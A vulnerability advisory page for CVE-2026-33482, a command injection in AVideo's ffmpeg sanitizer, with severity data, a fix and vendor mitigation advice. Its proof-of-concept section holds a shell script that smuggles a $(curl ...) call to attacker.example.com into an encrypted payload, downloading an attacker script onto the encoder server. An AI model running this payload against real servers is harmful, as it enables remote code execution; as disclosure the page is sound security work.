CVE-2026-33482 is a high-severity (CVSS 8.1) OS Command Injection vulnerability in wwbn/avideo. No vendor fix is recorded yet; mitigation options are listed below.
AVideo has an OS Command Injection via $() Shell Substitution Bypass in sanitizeFFmpegCommand()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33482.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2026-33482 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
wwbn/avideoReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The sanitizeFFmpegCommand() function in plugin/API/standAlone/functions.php is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (&&, ;, |, `, <, >). However, it fails to strip $() (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted sh -c context in execAsync(), an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server.
Details
Vulnerable sanitization function (plugin/API/standAlone/functions.php:59-82):
function sanitizeFFmpegCommand($command)
{
$allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
// Remove dangerous characters
$command = str_replace('&&', '', $command);
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
$command = preg_replace('/[;|`<>]/', '', $command); // Missing: $ ( ) \n
// Ensure it starts with an allowed prefix
foreach ($allowedPrefixes as $prefix) {
if (strpos(trim($command), $prefix) === 0) {
return $command;
}
}
return '';
}
The character class [;|<>]on line 70 does not include$, (, ), or \n. This means $(...)` command substitution passes through completely unmodified.
Execution sink (objects/functionsExec.php:656-658):
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &";
The addcslashes($command, '"') call at line 639 only escapes double-quote characters. The $() construct is preserved intact and interpreted by sh as command substitution within the double-quoted string.
Execution flow:
- Attacker sends
codeToExecEncryptedparameter toplugin/API/standAlone/ffmpeg.json.php - Standalone encoder calls main server's unauthenticated
decryptStringAPI to decrypt - Decrypted
ffmpegCommandpasses throughsanitizeFFmpegCommand()—$()is NOT stripped - Command passes prefix check (starts with
ffmpeg) execAsync()wraps it insh -c "..."—$()is evaluated as command substitution
Auth barrier analysis:
- Requires a valid AES-256-CBC encrypted JSON payload with a timestamp within 30 seconds
- Key is
sha256(saltV2)on the main server;saltV2is generated byrandom_bytes(16)— cryptographically strong - IV is
substr(sha256(systemRootPath), 0, 16)— predictable but insufficient alone - On legacy installations without
saltV2, falls back to$global['salt']which may be weaker - The
decryptStringAPI endpoint (API.php:5963) is unauthenticated, enabling probing but not payload crafting
PoC
Assuming the attacker has obtained the encryption key (e.g., from a leaked configuration file, a legacy installation with a weak salt, or via a separate vulnerability):
# Step 1: Craft the malicious ffmpeg command
# $() passes sanitization; curl -o avoids needing > which would be stripped
MALICIOUS_CMD='ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4'
# Step 2: Build the JSON payload
PAYLOAD="{\"ffmpegCommand\":\"$MALICIOUS_CMD\",\"keyword\":\"test\",\"time\":$(date +%s)}"
# Step 3: Encrypt the payload (requires knowledge of salt and systemRootPath)
# KEY = sha256(saltV2)
# IV = substr(sha256(systemRootPath), 0, 16)
ENCRYPTED=$(php -r "
\$salt = 'KNOWN_SALTV2';
\$iv_source = '/var/www/html/AVideo/';
\$key = hash('sha256', \$salt);
\$iv = substr(hash('sha256', \$iv_source), 0, 16);
echo base64_encode(openssl_encrypt('$PAYLOAD', 'AES-256-CBC', \$key, 0, \$iv));
")
# Step 4: Send to standalone encoder
curl "http://standalone-encoder.example.com/plugin/API/standAlone/ffmpeg.json.php?codeToExecEncrypted=$(python3 -c 'import urllib.parse; print(urllib.parse.quote(\"'$ENCRYPTED'\"))')"
# Result: The standalone encoder executes:
# sh -c "ffmpeg $(curl http://attacker.example.com/shell.sh -o /tmp/s.sh) -i /dev/null /tmp/out.mp4 ..."
# The $(curl ...) is evaluated BEFORE ffmpeg runs, downloading the attacker's script
Sanitization trace for the payload:
str_replace('&&', '', ...)→ no&&present, passespreg_replace('/\s*&?>.*(?:2>&1)?/', '', ...)→ no>outside$(), passespreg_replace('/[;|<>]/', '', ...)→ no;|<>present, passes- Prefix check → starts with
ffmpeg, passes addcslashes($command, '"')→ no"in payload,$()untouched
Impact
- Remote Code Execution: Full arbitrary command execution on the standalone encoder server with the privileges of the web server process
- Lateral Movement: Standalone encoders typically have network access to the main AVideo server, enabling further attacks
- Data Exfiltration: Access to all video files, configuration, and credentials stored on the encoder
- Service Disruption: Attacker can terminate encoding processes or consume system resources
The attack complexity is High due to the encryption key requirement, but the impact is Critical once the barrier is bypassed. Legacy installations without saltV2 are at significantly higher risk.
Recommended Fix
Replace the denylist-based sanitization with proper argument escaping:
function sanitizeFFmpegCommand($command)
{
$allowedPrefixes = ['ffmpeg', '/usr/bin/ffmpeg', '/bin/ffmpeg'];
// Verify it starts with an allowed prefix
$trimmed = trim($command);
$validPrefix = false;
foreach ($allowedPrefixes as $prefix) {
if (strpos($trimmed, $prefix) === 0) {
$validPrefix = true;
break;
}
}
if (!$validPrefix) {
_error_log("Sanitization failed: Command does not start with an allowed prefix");
return '';
}
// Strip ALL shell metacharacters, including command substitution
// This covers: ; | ` < > $ ( ) { } \n \r
$command = preg_replace('/[;|`<>$(){}\\\\]/', '', $command);
$command = str_replace('&&', '', $command);
$command = preg_replace('/[\n\r]/', '', $command);
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command);
_error_log("Command sanitized successfully");
return $command;
}
Better long-term fix: Instead of sanitizing a complete shell command string, parse the ffmpeg arguments and use escapeshellarg() on each individual argument before reassembling the command. This eliminates the need for a denylist entirely.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | wwbn/avideo | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of wwbn/avideo has shipped for CVE-2026-33482 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-33482 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-33482. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-33482 in your dependencies?
O3 Security finds CVE-2026-33482 across Packagist dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.